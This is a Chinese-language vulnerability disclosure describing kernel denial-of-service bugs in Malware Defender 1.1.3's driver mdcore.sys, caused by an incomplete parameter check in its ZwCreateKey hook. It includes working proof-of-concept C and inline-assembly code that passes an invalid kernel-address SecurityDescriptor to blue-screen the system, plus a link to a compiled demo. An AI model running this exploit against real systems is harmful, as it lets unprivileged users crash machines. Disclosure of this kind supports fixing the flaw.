Malware Defender 1.1.3(2008-09-24)及以下版本多处内核拒绝服务漏洞
作者:MJ0011
Malware Defender(简称MD)是一个HIPS & Anti-Rootkit工具。
Malware Defender最新版本1.1.3(2008-09-24)的内核驱动存在多处内核拒绝服务漏洞,任意权限的用户在安装了MD可引发蓝屏出问题的组件:mdcore.sys(安装后随机命名) 版本1.1.0.0 CheckSum = 0x0003C26C TimeStamp = 0x48d88131
MD在对SSDT HOOK时,存在多处参数检查不全面,同时将可能有错的参数从内核模式传递给系统函数,从而引发系统蓝屏。
示例函数:ZwCreateKey
函数ZwCreateKey的原型是:
NTSTATUS
NtCreateKey(
__out PHANDLE KeyHandle,
__in ACCESS_MASK DesiredAccess,
__in POBJECT_ATTRIBUTES ObjectAttributes,
__reserved ULONG TitleIndex,
__in_opt PUNICODE_STRING Class,
__in ULONG CreateOptions,
__out_opt PULONG Disposition
)
其中ObjectAttrutes中的ObjectName , SecurityDescriptor和SecurityQualityOfService域都可以被用来进行缓存拒绝服务攻击.
MD在其HOOK函数hk_ZwCreateKey中(偏移量:0xcd2e),仅仅对ObjectName域做了有效性检查,判断是一个有效的注册表名,就直接调用ZwOpenKey函数,以传入的ObjectAttributes为参数。
由于在MD的HOOK函数中已经经过中断调用,当前线程的上个模式是UserMode,此时调用 ZwOpenKey,再经过一次KiSystemService,会导致系统将当前线程的上个模式改为KernelMode,这样系统函数 ZwOpenKey将不会再对ObjectAttributes的所有参数做任何有效性检查,而是直接访问其地址,这样,如果我们传递进一个错误的内核地 址的SecurityDescriptor,就会引发系统崩溃,蓝屏重启
实际上在本例中,是经过这样一个调用过程最终蓝屏的ZwCreateKey -> hk_ZwCreateKey -> (检查了ObjectAttributes->ObjectName) -> ZwOpenKey -> 上个模式改为KernelMode,系统不检查参数有效性 ->ObOpenObjectByName -> ObpCaptureObjectCreateInformation -> 系统函数判断SecurityDescriptor域存在,且上个模式为内核模式,因此不做参数检查,直接将参数 ->SeCaptureSecurityDescriptor -> SeCaptureSecurityDescriptor访问错误的SecurityDescriptor地址,系统崩溃蓝屏
测试代码:
HKEY hkey ;
WCHAR xx[] = L”xxxx_fuck_malware_defender”;
HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “ZwCreateKey”);
//获得ZwCreateKey地址
RegOpenKey(HKEY_LOCAL_MACHINE , “SOFTWARE\\” , &hkey);
//随便用一个键句柄作为RootDirectory,以绕过MD的检查
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING strname ;
strname.Buffer = xx;
strname.Length = wcslen(strname.Buffer) * sizeof(WCHAR) ;
InitializeObjectAttributes(&oba , &strname ,0 , hkey,(PVOID)0x80000000);
//填充ObjectAttributes,使ObjectName有效,SecurityDescriptor填入无效的内核地址
IO_STATUS_BLOCK iosb ;
HANDLE hfile ;
__asm{
push 0
push 0
push 0
push 0
lea eax,oba
push eax
push 0
push 0
call p
}
//调用
测试程序下载:http://mj0011.ys168.com 漏洞演示目录下 BSOD_MD.rar